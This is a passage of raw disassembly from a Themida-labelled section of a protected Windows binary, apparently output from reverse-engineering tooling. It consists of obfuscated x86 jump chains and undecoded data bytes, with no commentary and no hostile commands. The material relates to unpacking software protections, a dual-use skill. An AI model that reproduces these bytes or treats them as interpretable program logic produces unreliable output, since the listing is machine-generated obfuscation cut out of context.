CODE XREF: Themida_:00560B56j mov eax, ebp jmp loc_558AC8 ; --------------------------------------------------------------------------- loc_564D7C: ; CODE XREF: Themida_:005610D9j xchg esi, [esp] pop esp jmp loc_5550B7 ; --------------------------------------------------------------------------- loc_564D85: ; CODE XREF: Themida_:00566AC4j mov [esp], ebp push ecx mov ecx, 0A0373h sub ecx, 0DA43BD1Eh push esi push ecx xor dword ptr [esp], 45E038B3h mov esi, [esp] jmp loc_560F1B ; --------------------------------------------------------------------------- db 66h, 5Ah, 80h dd 0F18029C9h, 0C5E180F9h, 0E9DCE980h, 0FFFF69F6h ; --------------------------------------------------------------------------- loc_564DB8: ; CODE XREF: Themida_:00560D4Fj add esi, ebp pop ebp sub eax, 47AD2815h add eax, esi push esi push ebp jmp loc_55D70D ; --------------------------------------------------------------------------- loc_564DC9: ; CODE XREF: Themida_:00560787j mov ecx, edx push dword ptr [esp] jmp loc_55FD62 ; --------------------------------------------------------------------------- db 5Eh dd 8969E956h, 8951FFFFh, 59CB89F1h, 0FF3CEAE9h, 0E28952FFh dd 0FEF652E9h, 241C31FFh, 0E9241C33h, 0FFFF089Dh, 4BFh dd 0E9FB8900h, 0FFFF895Fh ; --------------------------------------------------------------------------- loc_564E04: ; CODE XREF: Themida_:00552DEDj sub ebp, edi add ebp, 70DC409Fh sub ebp, 20CD5ECBh mov edi, [esp] add esp, 4 jmp loc_566605 ; --------------------------------------------------------------------------- db 89h, 0F7h, 89h dd 348B5FF8h, 1CB16824h, 4890000h, 55E08924h, 0FEFB70E9h dd 4C281FFh, 87000000h, 95C2414h, 34FF1C5Fh, 2B87E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_564E4A: ; CODE XREF: Themida_:00560F6Bj xchg eax, [esp] jmp loc_565166 ; --------------------------------------------------------------------------- dw 0EC83h dd 241C8904h, 5018A5BBh, 90C3815Bh, 0F705A568h, 1BC381DBh dd 811C2E59h, 5F6561CBh, 1DC3810Bh, 89448008h, 859DE9DFh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_564E7E: ; CODE XREF: Themida_:00563A8Aj push 710Ch mov [esp], edx push esi push 1C483DDDh pop esi xchg edx, esi not edx xchg edx, esi neg esi shl esi, 8 xor esi, 66D5B5A9h mov edx, esi pop esi shl edx, 3 sub edx, 777F5818h xor edx, offset byte_5B0D6F sub ecx, edx pop edx add esi, ecx pop ecx or esi, 5AD6486Dh xor esi, 0DFFF5BF9h mov edi, esi pop esi jmp loc_565195 ; --------------------------------------------------------------------------- dw 815Dh dd 0C5725AEEh, 0ECEE8172h, 14DF018h, 53CAE9D6h, 815BFFFFh dd 2568CAEBh, 9FC38100h, 12B2045h, 0C9A5E9D3h db 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_564EF2: ; CODE XREF: Themida_:00561CF1j push edx mov edx, 63C91761h add eax, edx pop edx add eax, esi push edx mov edx, 625263F6h sub edx, 0FE894C95h sub eax, edx pop edx jmp loc_561918 ; --------------------------------------------------------------------------- db 0BDh, 8Ah, 94h dd 2CE9F613h, 4FFFFA6h, 18B15123h, 96B75352h, 0FF7770E9h dd 4C483FFh, 0FFE6DBE9h, 240C89FFh, 0C181E189h, 4, 8704E983h dd 545C240Ch, 0E924048Fh, 0FFFF2953h, 0F0235ABAh, 8BBE94Ch dd 0B0500000h, 58C7888Dh, 0C780E7D0h, 80CFFE99h, 0DD0418F7h dd 0A04C02Ch, 0FF1AD3E9h, 75E981FFh, 891749FDh, 27E959C8h dd 31FFFF86h, 0FEE92434h, 81FFFEF5h, 0E06631C5h, 1C3CE904h dd 89520000h, 0D8BDE9C2h, 248BFFFEh, 2845E924h, 0E95DFFFFh dd 0FFFF4F22h, 565BDD31h, 0F789EE89h, 1D6AE95Eh, 30E9FFFFh dd 81FFFEC5h, 9812CAE5h, 66F5813Bh, 811DC212h, 0CF7DA9C5h dd 220E910h, 0B9510000h, 59F974C8h, 385AE981h, 0DDE93D23h dd 0FFFEE4h, 24048BE6h, 4C481h, 0F4880000h, 389E9h db 0 ; --------------------------------------------------------------------------- loc_564FF5: ; CODE XREF: Themida_:005564F6j rol dword ptr [esp], cl pushf jmp loc_5514EB ; --------------------------------------------------------------------------- dw 0F181h dd 3BA7AAD1h, 0E959CE89h, 0FFFF60DEh, 62501B2Dh, 20172D29h dd 0BD555BF2h, 3A6870CBh, 5AA8CD81h, 0E9570FBDh, 0FFFF4BF3h dd 0F5618A05h, 0CDBF5725h, 2D094E28h, 77F52B5Eh, 5E05F829h dd 5F77F52Bh, 0FF936EE9h, 243C89FFh, 243C8B54h, 81E68956h dd 4C6h, 6386E900h, 0C8B9FFFFh, 817B9437h, 0D2588FF1h dd 0F181493Eh, 7F53068Eh, 6859C801h, 11A7h, 0E9241C89h dd 0F8Bh, 4EC81h, 14890000h, 4A3B224h, 2CD000D8h, 0E9535AD8h dd 0FFFEEBCDh, 5C243C87h, 4BF57h, 0F9290000h, 74FF515Fh dd 0BE90424h db 0C5h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5650AB: ; CODE XREF: Themida_:0055ECB6j add ebx, 4 jmp loc_554906 ; --------------------------------------------------------------------------- loc_5650B6: ; CODE XREF: Themida_:0055C55Dj add esp, 4 mov ebx, [esp] add esp, 4 push dword ptr [esp] pop edx add esp, 4 pop ebx push 6AF2h mov [esp], esi push eax push esi jmp loc_5637E1 ; --------------------------------------------------------------------------- db 4Eh dd 3FE9DEF7h, 5FFFFA4h, 8157BD1h, 0B4E6857h, 50E958A9h dd 0BAFFFFB3h, 77C8188Ah, 15DEA31h, 0C875AD1h, 9AE95C24h dd 80FFFF79h, 0D08861F2h, 0E924148Bh, 0FFFF505Ch ; --------------------------------------------------------------------------- loc_565118: ; CODE XREF: Themida_:00554516j add esi, 4 add esi, 4 push esi jmp loc_557239 ; --------------------------------------------------------------------------- dw 0EE80h dd 4322E91Fh, 8759FFFFh, 0F9E92404h db 0E9h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56513B: ; CODE XREF: Themida_:0055C11Cj add ebp, 0FAE4E85Ah push ebp jmp loc_56352D ; --------------------------------------------------------------------------- loc_565147: ; CODE XREF: Themida_:0055F57Cj xchg eax, [esp] jmp loc_560F5D ; --------------------------------------------------------------------------- db 81h dd 6E3023C2h, 67C5E923h, 34FFFFFFh, 0C4835824h, 145DE904h db 2 dup(0) ; --------------------------------------------------------------------------- loc_565166: ; CODE XREF: Themida_:00564E4Dj mov esp, [esp] add eax, 4 sub esp, 4 mov [esp], edx jmp loc_55BC1B ; --------------------------------------------------------------------------- loc_56517C: ; CODE XREF: Themida_:005651E2j add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], eax push esp jmp loc_556FBE ; --------------------------------------------------------------------------- loc_565195: ; CODE XREF: Themida_:00564EC5j add ebp, edi pop edi sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], ecx mov ecx, ebx jmp loc_55384C ; --------------------------------------------------------------------------- db 80h, 0C2h, 0A0h dd 0FFEF19E9h, 81DBF7FFh, 6C5FF2C3h, 8BD80100h, 0C481241Ch dd 4, 0FFECB5E9h db 0FFh ; --------------------------------------------------------------------------- loc_5651C9: ; CODE XREF: Themida_:005632BFj xchg edi, [esp] pop esp jmp loc_55B652 ; --------------------------------------------------------------------------- dw 248Bh dd 242C8124h, 48535DF7h db 29h, 4, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp jmp loc_56517C ; --------------------------------------------------------------------------- db 81h dd 9017BBCAh, 0E12BE95Dh, 0C681FFFEh, 692669D9h, 0EE81EE01h dd 692669D9h, 0FEE0B4E9h, 4BFFFh, 0FB010000h, 5F2434FFh dd 8104C483h, 4ECh, 243C8900h, 0BE068F68h, 0E9535F0Fh dd 0FFFF7284h, 397D68h, 240C8900h, 822773B9h, 4CE9576Bh dd 81FFFF80h, 4C2h, 4C28300h, 5C241487h, 31241C33h, 9FE9241Ch dd 5FFFFF4Bh, 0F281D2F7h, 80008815h, 835AD101h, 0EC8304E9h dd 240C8904h, 42474FFh, 0FF79CFE9h db 0FFh ; --------------------------------------------------------------------------- loc_565271: ; CODE XREF: Themida_:0055F542j xchg edi, [esp] not edi xchg edi, [esp] push dword ptr [esp] jmp loc_557BF4 ; --------------------------------------------------------------------------- db 89h, 2 dup(24h) dd 4240481h, 8B000000h, 0C483242Ch, 6D576804h, 39E90000h dd 68000015h, 10A7h, 0BD242C89h, 4, 0FECDA7E9h, 0C4815EFFh dd 4, 5324348Bh, 0AB7CE954h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5652BE: ; CODE XREF: Themida_:0055A675j pop ebp and ecx, eax pop eax shr ecx, 7 sub esp, 4 jmp loc_55ED89 ; --------------------------------------------------------------------------- db 5Bh, 0E9h, 0B4h dd 5EFFFFFCh, 0FFD51EE9h db 0FFh ; --------------------------------------------------------------------------- loc_5652D9: ; CODE XREF: Themida_:00561E0Ej xor eax, [esp] xor [esp], eax xor eax, [esp] pop esp mov [esp], ebp jmp loc_55A1A7 ; --------------------------------------------------------------------------- db 53h dd 0A2A66668h, 0E9815B4Bh, 389A5204h, 0C181D901h, 389A5204h dd 0E9CD895Bh, 0FFFECDC3h ; --------------------------------------------------------------------------- loc_565308: ; CODE XREF: Themida_:00557EEEj add eax, 4 xchg eax, [esp] mov esp, [esp] sub ecx, ebp push ebp mov ebp, 6FFD27DAh add ecx, ebp pop ebp pop ebp xor eax, ecx mov ecx, [esp] add esp, 4 push dword ptr [edi+eax*4] push ebx jmp loc_551E08 ; --------------------------------------------------------------------------- loc_565331: ; CODE XREF: Themida_:0056422Dj mov edi, 58155260h jmp loc_55EA61 ; --------------------------------------------------------------------------- db 68h dd 24h, 3B106858h, 0FCE90000h db 23h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56534B: ; CODE XREF: Themida_:0055E9D3j add edi, 4 add edi, 4 jmp loc_55FA9A ; --------------------------------------------------------------------------- db 0B4h, 2Fh, 80h dd 0E4D046E4h, 0FF620AE9h, 5DEB31FFh, 496368h, 24048900h dd 220F1AB8h, 4FF502Bh, 72E924h, 34FFFFFFh, 714DE924h dd 8F5DFFFFh, 248B2404h, 0C8B60F24h, 56C868h, 240C8900h dd 0FEC14EE9h, 4EC83FFh, 24048F54h, 4BD55h, 6C010000h dd 8B5D0424h, 0C4812414h, 4, 4C281h, 68510000h, 498Dh dd 0FFE0B7E9h db 0FFh ; --------------------------------------------------------------------------- loc_5653C9: ; CODE XREF: Themida_:0055E00Bj sub bl, al add bl, 95h add bl, 90h jmp loc_564B06 ; --------------------------------------------------------------------------- loc_5653D6: ; CODE XREF: Themida_:00552384j mov edi, [esp] add esp, 4 pop eax push 7Dh mov [esp], ebx mov ebx, 0AB91301h sub dword ptr [esp+8], 52DE5F55h sub [esp+8], ebx push edi push esi mov esi, 5B500489h mov edi, 0F78E5ACCh add edi, esi pop esi add [esp+0Ch], edi jmp loc_55B4DF ; --------------------------------------------------------------------------- word_56540E dw 8B66h ; DATA XREF: Themida_:005512D0o dd 52572404h, 0C281E289h, 4, 4EA81h, 13E90000h db 0F4h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_565427: ; CODE XREF: Themida_:00559E71j add edi, 7FCB3825h add edi, 23FB4327h jmp loc_5646ED ; --------------------------------------------------------------------------- loc_565438: ; CODE XREF: Themida_:005599C7j push edi jmp loc_562C31 ; --------------------------------------------------------------------------- dw 348Bh dd 0BD19E924h, 48FFFFFh, 6B685C24h, 0E9000065h, 0FFFF4CFEh ; --------------------------------------------------------------------------- loc_565454: ; CODE XREF: Themida_:0055BB2Fj add ecx, 5B8F224Ch add ecx, eax sub ecx, 5B8F224Ch pop eax sub ecx, 4 xor ecx, [esp] jmp loc_554C1F ; --------------------------------------------------------------------------- byte_565471 db 8Bh, 0Ch, 24h ; DATA XREF: Themida_:005513F4o dd 3C8B5457h, 4C48124h, 0E9000000h, 0FFFFF335h, 66C0B60Fh dd 5724148Bh, 50565F54h, 0C22542B8h, 0FAF8E96Ah, 0C9FEFFFFh dd 5349E180h, 0F93005B7h, 59C8285Bh, 0C04C828h, 0E956B753h dd 0FFFF37F7h, 4E16CD81h, 0E3E9078Ch, 1FFFF7Bh, 0E98BE9CAh dd 0C381FFFEh, 0F0A53243h, 0E95B5D53h, 0FFFF13FCh, 4A06E2C1h dd 0FFD1E2E9h, 4C483FFh, 7E3968h, 240C8900h, 0E41EB5B9h dd 59CB016Eh, 3CB4C381h, 0FB01489Eh, 0FF7B32E9h, 5DD905FFh dd 2D5A416Bh, 4, 7D2768h, 24048900h, 42474FFh, 24048F58h dd 2414895Ch, 0EFBBE954h, 0F580FFFEh, 8BE8202Dh, 0C483240Ch dd 0B0505204h, 8E8C0E0h, 0FF04C0FEh, 8070B252h, 0EAC08AE2h dd 7BC28003h, 5185E280h, 0CDFE1BB5h, 0ED80D5F6h, 28ED809Ch dd 0E9DAF580h, 0FFFF9045h, 3A3C68h, 24348900h, 4C868h dd 48F5400h, 24048124h, 4, 5224348Bh, 0C281E289h, 4, 8704C283h dd 248B2414h, 0E8E95324h db 0D6h, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_56558F: ; CODE XREF: Themida_:0055C0BAj pop esp mov ebp, [esp] jmp loc_55540E ; --------------------------------------------------------------------------- loc_565598: ; CODE XREF: Themida_:00551D15j sub esi, eax pop eax jmp loc_5661C9 ; --------------------------------------------------------------------------- dd 4C481h, 0C7800000h, 80CF2806h, 0EF8006EFh, 240C8B9Ch dd 4C481h, 12040000h, 122CF828h, 83241C8Bh, 0EC8304C4h dd 24048904h, 0E956E089h, 0FFFF669Ah ; --------------------------------------------------------------------------- loc_5655D4: ; CODE XREF: Themida_:00565FD4j add edx, edi add edx, 0EB14015h pop edi sub edx, 68666844h or eax, edx jmp loc_55D270 ; --------------------------------------------------------------------------- word_5655EA dw 34FFh ; DATA XREF: Themida_:005512C4o dd 99E95824h, 8BFFFFCCh, 0C481240Ch, 4, 0EDE9EF01h, 5FFFFF4Bh dd 4EC815Eh, 89000000h, 0CABD242Ch, 51165643h, 0D81D51B9h dd 72F1816Ah, 0C13D3701h, 0F18102E9h, 22BF5A85h, 6A90E981h dd 0E1C12FDAh, 1FF18103h, 0E97036ABh, 930h, 24048F5Bh dd 8924248Bh, 0FF542414h, 148B2434h, 1C796824h, 5E90000h dd 5DFFFFC2h, 0C7FEF81h, 0F8297254h, 0FF7A0AE9h db 0FFh ; --------------------------------------------------------------------------- loc_565665: ; CODE XREF: Themida_:0055CDC2j xor [esp], eax xor eax, [esp] mov esp, [esp] mov [esp], ebp jmp loc_556D2E ; --------------------------------------------------------------------------- dw 0EB89h dd 0EC83555Dh, 24148904h, 0FF1010E9h, 367868FFh, 2C890000h dd 3CE1BD24h, 0EA094F4Bh, 431E95Dh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56569A: ; CODE XREF: Themida_:00560310j dec cl shr cl, 7 not cl push edx mov dl, 0DBh shr dl, 7 add dl, 1 add dl, 47h shr dl, 5 or dl, 68h add dl, 0B3h jmp loc_55D2F3 ; --------------------------------------------------------------------------- db 5Bh dd 815B5453h, 4C3h, 4C38300h, 0FF3564E9h, 0C5685AFFh, 89000014h dd 0BB53243Ch, 130C22F7h, 1B14C381h, 0EBD13531h, 84F38143h dd 895F829Ah, 5BE95BDFh, 0B8FFFEF7h, 1D546295h, 8904EC83h dd 3BF243Ch, 100167Ah, 0C1015FF9h, 7A03E981h, 48B0016h dd 4C48324h, 0D19E981h, 0F1296654h, 0D19BD55h, 0E9016654h dd 95E9815Dh, 8B1D5462h, 0C4832434h, 7AC18104h, 13A560Bh dd 0C922E9F9h, 0EC83FFFFh, 243C8904h, 14DD9BFh, 2C815773h dd 0CC19F124h, 240C8B61h, 4EC81h, 14890000h, 81E28924h dd 4C2h, 0D21BE900h, 3C89FFFEh, 9593E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_565772: ; CODE XREF: Themida_:005579CCj xor ecx, ebp jmp loc_55C0BF ; --------------------------------------------------------------------------- db 87h, 14h, 24h dd 0EC81515Ch, 4, 89243489h, 1E6EE9E6h, 5043FFFFh, 0AA557DB8h dd 30E52D0Ch, 27352218h, 3513E516h, 5F103090h, 508E8C1h dd 7A4BF7AAh, 3158C301h, 81565BDEh, 14A2242Ch, 815B76FBh dd 0FB14A2C3h, 0EBC15E76h, 26996805h, 0F6E90000h, 83FFFFDDh dd 0C8904ECh, 5096B124h, 0E688CC88h, 0C6805958h, 0F897E9FFh dd 0E389FFFEh, 4C381h, 0C3830000h, 0C670E904h, 0D4F6FFFEh dd 0F280E286h, 0A91EE984h db 2 dup(0FFh) word_565802 dw 77FFh ; DATA XREF: Themida_:0055122Co dd 59669D1Ch, 9C2414D3h, 0FEBCDAE9h, 68CA81FFh, 522AD33Fh dd 44E9E955h, 34FFFFFFh, 0E8E95824h, 80FFFFB1h, 0C628A3EEh dd 0FFE106E9h db 0FFh ; --------------------------------------------------------------------------- loc_565831: ; CODE XREF: Themida_:0055F23Bj pop ecx add edi, 3E5D10B6h sub edi, esi sub edi, 3E5D10B6h pop esi sub edi, 0FC1049D1h jmp loc_563298 ; --------------------------------------------------------------------------- dd 5C24048Fh, 0FF31CBE9h db 0FFh ; --------------------------------------------------------------------------- loc_565855: ; CODE XREF: Themida_:005570F5j sub edx, 700E79EAh pop eax add edi, edx mov edx, [esp] push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] pop esp push ebx mov ebx, 4 add edi, ebx pop ebx xchg edi, [esp] jmp loc_5582F8 ; --------------------------------------------------------------------------- dw 0EC86h dd 0EC30D5F6h, 0EC30E530h, 0E910F480h, 0FFFFE8CCh, 0F988BBB7h dd 59CB005Bh, 0FBC5E950h db 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_5658A2: ; CODE XREF: Themida_:0055ED8Cj push dword ptr [esp] pop eax push edx jmp loc_552FF6 ; --------------------------------------------------------------------------- dd 51E38953h, 4B9h, 59CB0100h, 4C381h, 1C870000h, 37E95C24h dd 68FFFECAh, 5309h, 0BD242C89h, 7322DE32h, 2C8BE989h dd 0E0895024h, 0FF0821E9h, 9BB951FFh, 0C124023Eh, 0F7E902E9h dd 0C0FFFEF6h, 0C9FE03E9h, 0FFD9F3E9h db 0FFh ; --------------------------------------------------------------------------- loc_5658F9: ; CODE XREF: Themida_:0055A938j add ecx, 168519B9h add ecx, 4F380B87h jmp loc_554841 ; --------------------------------------------------------------------------- dw 0DE30h dd 0FEBD7FE9h db 0FFh aNh db '╜hм<',0 ; DATA XREF: Themida_:005512E4o dw 0E900h dd 0FFFEF41Fh, 2C56866h, 241C8966h, 0FFB09AE9h db 0FFh ; --------------------------------------------------------------------------- loc_565929: ; CODE XREF: Themida_:0055EBA6j neg ebp xor ebp, 6F692B84h or ebp, 1BAD3B34h sub ebp, 0BFADFFBAh add ecx, ebp pop ebp xchg ecx, [esp] pop esp push 18E1h mov [esp], esi push 1B45h mov [esp], edi jmp loc_55C178 ; --------------------------------------------------------------------------- loc_565959: ; CODE XREF: Themida_:00560D61j mov edi, 6BCF11F4h or edi, 6F233EC4h xor edi, 3F136057h add edi, 44720DFh jmp loc_555D78 ; --------------------------------------------------------------------------- loc_565975: ; CODE XREF: Themida_:005540C9j xor ecx, edi jmp loc_56317E ; --------------------------------------------------------------------------- loc_56597C: ; CODE XREF: Themida_:0055CB7Dj sub esp, 4 mov [esp], ebx mov ebx, 503160FCh push 0 sub [esp], ebx pop ebx jmp loc_558DBD ; --------------------------------------------------------------------------- dd 5A66F528h, 80B0B252h, 0D6E906CAh, 29FFFF53h, 0FC45E9CFh dd 2C8BFFFFh, 4C48324h, 8304C483h, 515504C4h, 514CB9B9h dd 9506BD47h, 0CD2957FBh, 68515659h, 31AE5111h, 81240C8Bh dd 4C4h, 0E1814100h, 53045EF8h, 5BFCE181h, 0E9812601h dd 0F7430B7Fh, 24348151h, 330D53E1h, 0FF9F43E9h, 241C8BFFh dd 4C481h, 0C8280000h, 6859B02Ch, 248Eh, 0B2241489h, 0FFEA80CEh dd 0E280DAF6h, 0DEB05046h, 0E952C8FEh, 0FFFEE65Bh, 2959CB89h dd 0D8295EF3h, 0FFE885E9h, 28ECB9FFh, 0CE2948ABh, 81240C8Bh dd 4C4h, 24048B00h, 4C481h, 34870000h, 24248B24h, 9C240CFEh dd 0FEBA92E9h, 1C6F21FFh, 7D0AE95Dh db 2 dup(0FFh) word_565A62 dw 74FFh ; DATA XREF: Themida_:00551308o dd 0EAE90424h db 3, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_565A6B: ; CODE XREF: Themida_:005603C1j sub esp, 4 jmp loc_55389B ; --------------------------------------------------------------------------- loc_565A73: ; CODE XREF: Themida_:00558837j pop dword ptr [esp] pop esp or edx, eax shl edx, 1 push 7F7Fh mov [esp], esi jmp loc_5598EE ; --------------------------------------------------------------------------- dd offset dword_40E6F0+78h dd 24348900h, 0A6141568h, 2434FF2Ch, 8324348Bh, 0C48304C4h dd 2DC68104h, 89E747FFh, 89505EF1h, 8BC589C8h, 89562404h dd 0DEB4E9E6h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_565ABA: ; CODE XREF: Themida_:005605F7j xor [esp], esi pop edx add edx, 0DD43B763h add eax, edx pop edx xor eax, [esp] xor [esp], eax xor eax, [esp] jmp loc_563C1A ; --------------------------------------------------------------------------- db 0FFh, 34h, 24h dd 81240C8Bh, 4C4h, 4EC8300h, 0E9243489h, 0B45h, 0C580E528h dd 614FE9DFh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_565AF6: ; CODE XREF: Themida_:00553161j pop ebx mov edx, 13AB08F4h push edi mov edi, 5FE101CFh and edi, 38525968h add edi, 1F0796Ch add edx, edi mov edi, [esp] jmp loc_563449 ; --------------------------------------------------------------------------- dd 3C385668h, 242C8B47h, 8104C483h, 2620B9EDh, 16CD8175h dd 0F7346C31h, 0D3D1E9D5h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_565B36: ; CODE XREF: Themida_:0055C711j xor [esp], edi not edi push edi push dword ptr [esp+4] pop edi pop dword ptr [esp] pop ebx jmp loc_55564F ; --------------------------------------------------------------------------- loc_565B4A: ; CODE XREF: Themida_:0055D282j shr eax, 8 xor eax, 3C2CAC09h add ecx, eax pop eax sub esp, 4 mov [esp], eax jmp loc_559A4F ; --------------------------------------------------------------------------- db 2Dh dd 4, 0EE4CE950h, 0C301FFFFh, 8B2434FFh, 0C4812404h, 4 dd 566B68h, 243C8900h, 4EC81h, 8F540000h, 4832404h, 505F0424h dd 4EC81h, 44E90000h, 89FFFEEDh, 33E92434h, 1FFFFB7h, 0CF8958C1h dd 5E7E9h, 85B95100h, 29027864h, 0BD5559CAh, 68444268h dd 83CBF57h, 0EA813D79h, 200F4B1Ah, 0FFD1C6E9h, 0B7E980FFh dd 80E9D1F6h, 29FFFF73h, 0E95D5EF7h, 0FFFEF542h, 4BFh dd 5FF88900h, 545AEF81h, 0F1E92A51h, 1FFFEE9h, 0E5C781CFh dd 5947F12Dh, 0FFD8AFE9h, 0B55166FFh, 0E952661Bh, 0FFFF4060h ; --------------------------------------------------------------------------- loc_565C10: ; CODE XREF: Themida_:00559919j pop ecx jmp loc_55CC8D ; --------------------------------------------------------------------------- dw 0C481h dd 4, 3C6EB850h, 0F0E966E8h db 0C2h, 0FEh, 0FFh byte_565C27 db 66h ; DATA XREF: Themida_:00551210o dd 6824048Bh, 654Ch, 81243489h, 4ECh, 24248900h, 4BA52h dd 0EE90000h, 81FFFEF2h, 8C5185CBh, 1C38133h, 0F7000000h dd 89E950D3h db 0CEh, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_565C5B: ; CODE XREF: Themida_:0055B5E0j sub ebx, 3334258Bh jmp loc_55761B ; --------------------------------------------------------------------------- dw 0C483h dd 5DEB0104h, 4BD5552h, 89000000h, 2434FFEAh, 4C4835Dh dd 685AD301h, 674Eh, 0FF241C89h, 5B042474h, 0E924048Fh dd 0FFFFF53Eh, 1343E981h, 0CA311B52h, 0FF5554E9h db 0FFh ; --------------------------------------------------------------------------- loc_565CA1: ; CODE XREF: Themida_:0055C6CCj sub esp, 4 jmp loc_551F06 ; --------------------------------------------------------------------------- loc_565CAC: ; CODE XREF: Themida_:005623BCj push eax push 787Dh mov [esp], edx mov dh, bl mov ah, dh mov edx, [esp] push ebx jmp loc_55ECB4 ; --------------------------------------------------------------------------- loc_565CC2: ; CODE XREF: Themida_:0055CBBEj mov edx, 63D50A06h and edx, 22215A34h neg edx jmp loc_566A32 ; --------------------------------------------------------------------------- dd 0E657EABAh, 38DBE97Ah, 1489FFFFh, 815A5424h, 4C2h, 0F147E900h db 2 dup(0FFh) word_565CEE dw 8B66h ; DATA XREF: Themida_:00551438o dd 8152240Ch, 4ECh, 48F5400h, 24048124h, 4, 4C2815Ah, 57000000h dd 4BFh, 5FFA2900h, 4EC81h, 0AAE90000h, 89FFFECEh, 0E954242Ch dd 0FFFF6342h ; --------------------------------------------------------------------------- loc_565D28: ; CODE XREF: Themida_:00559B19j mov ebx, [esp] push eax mov eax, esp add eax, 4 jmp loc_559683 ; --------------------------------------------------------------------------- loc_565D38: ; CODE XREF: Themida_:0055811Dj push dword ptr [esp] push dword ptr [esp] pop esi add esp, 4 push 0EC3h mov [esp], ebp push esp pop ebp add ebp, 4 add ebp, 4 push ebp push dword ptr [esp+4] pop ebp pop dword ptr [esp] pop esp xor esi, 4C026E91h push ecx mov ecx, esi mov eax, ecx pop ecx mov esi, [esp] push ecx mov ecx, esp push ebx push esi push 6EF76EA4h pop esi dec esi add esi, 91089161h mov ebx, esi pop esi push edi mov edi, 0C803E51h add ecx, edi mov edi, [esp] add esp, 4 add ecx, ebx jmp loc_55D9A9 ; --------------------------------------------------------------------------- dw 487h dd 0C895C24h, 458BB924h, 0A4E914A6h, 50FFFFD5h, 42474FFh dd 5324048Bh, 0C381E389h, 4, 4C381h, 0E5E90000h, 83FFFFCCh dd 0C78104C4h, 67315E1Dh, 0FF6E06E9h db 0FFh ; --------------------------------------------------------------------------- loc_565DD9: ; CODE XREF: Themida_:00554C5Bj shr eax, 12h jmp loc_560BD6 ; --------------------------------------------------------------------------- loc_565DE1: ; CODE XREF: Themida_:005561A8j push ebx jmp loc_55AEC8 ; --------------------------------------------------------------------------- db 52h dd 2215BE56h, 0F2892722h, 0A9BE565Eh, 217A8126h, 6D9E9F2h dd 1BD0000h, 0E9000000h, 0FFFFC75Ah, 8107E6C1h, 260246C6h dd 0B8EE8163h, 31D894F5h, 0DE10E9F0h, 0BA52FFFFh, 6D1C4E4Dh dd 0FF441CE9h, 4C481FFh, 81000000h, 0DB7189EDh, 8EDC14Dh dd 776168h, 243C8900h, 0FF2B26E9h db 0FFh byte_565E45 db 0FFh, 77h, 1Ch ; DATA XREF: Themida_:005512B8o dd 0D259669Dh, 0E99C2414h, 0FFFEB697h, 55D7CF81h, 7E68371Dh dd 89000052h, 5B82404h, 0E9C8A08Ah, 0FFFFAA87h, 0E924048Fh dd 0FFFFDFCEh dword_565E74 dd 582434FFh, 517E68h, 2AC8E900h, 8158FFFFh, 4C4h, 3C055800h ; DATA XREF: Themida_:005512B0o dd 6634895Ch, 54E930FFh db 0B6h, 0FEh, 0FFh byte_565E97 db 0FFh ; DATA XREF: Themida_:00551454o dd 0B64DE932h, 1489FFFEh, 2474FF24h, 48F5A04h, 0AEE95C24h db 0BFh, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_565EAF: ; CODE XREF: Themida_:0055B402j push small 2E7Ah mov [esp], dx mov dh, 1 add al, dh pop dx jmp loc_56492C ; --------------------------------------------------------------------------- dw 1489h dd 0AE685524h, 5D082268h, 12DDED81h, 0EDE96BF9h, 5DFFFF4Eh dd 24FE9h, 20E18100h, 0C148120Ch, 0E95706E9h, 0FFFFB5DBh dd 31241433h, 14332414h, 0C4835C24h, 4EC8104h, 89000000h dd 58E92404h, 5BFFFF5Bh, 2959C801h, 738A2DD0h, 2D5A3E0Ah dd 14721E62h, 9E9E801h, 0B9FFFF68h, 277D1CF8h, 0E95EF131h dd 0FFFFFEF2h ; --------------------------------------------------------------------------- loc_565F2C: ; CODE XREF: Themida_:00553D6Cj neg edx jmp loc_55E171 ; --------------------------------------------------------------------------- loc_565F33: ; CODE XREF: Themida_:0055A45Ej mov eax, 5CE2118Bh mov esi, eax jmp loc_55F134 ; --------------------------------------------------------------------------- db 0B7h dd 0B42FE9A2h, 0B850FFFFh, 5704372Dh, 126A8635h, 1A862D1Eh dd 0C529325Fh, 5DEA0158h, 0E31E9h, 24048B00h, 0E904C483h dd 0FFFF282Ch, 443BBB53h, 0D38708D8h, 3AE9D2F7h, 81FFFF6Bh dd 611DD4C1h, 74E97Ch, 57BE0000h, 81204847h, 1B33EACEh dd 0C2F6812Bh, 0C14A1A4Dh, 814603E6h, 0F62E1BC6h, 67C6E9F5h dd 0EA81FFFFh, 251E2F6Dh, 7E283E05h, 2DD0012Fh, 2F7E283Eh dd 0FF8151E9h db 0FFh ; --------------------------------------------------------------------------- loc_565FBD: ; CODE XREF: Themida_:0055EAB3j pop eax jmp loc_5619BA ; --------------------------------------------------------------------------- loc_565FC3: ; CODE XREF: Themida_:00555E27j mov edx, 0EC95C42h push edi mov edi, 672F2BDBh sub edx, 0EB14015h jmp loc_5655D4 ; --------------------------------------------------------------------------- db 89h, 2Ch, 24h dd 4BDh, 8BE88900h, 0C483242Ch, 82C58104h, 81086F6Bh, 0C34053EDh dd 0DC3CE958h, 0E9D1FFFEh, 0A099E981h, 1DE92E6Fh, 0BBFFFFFAh dd 63F4284h, 2D5BD829h, 0E3B273Bh, 7C0568h, 0B684E900h db 2 dup(0FFh) ; 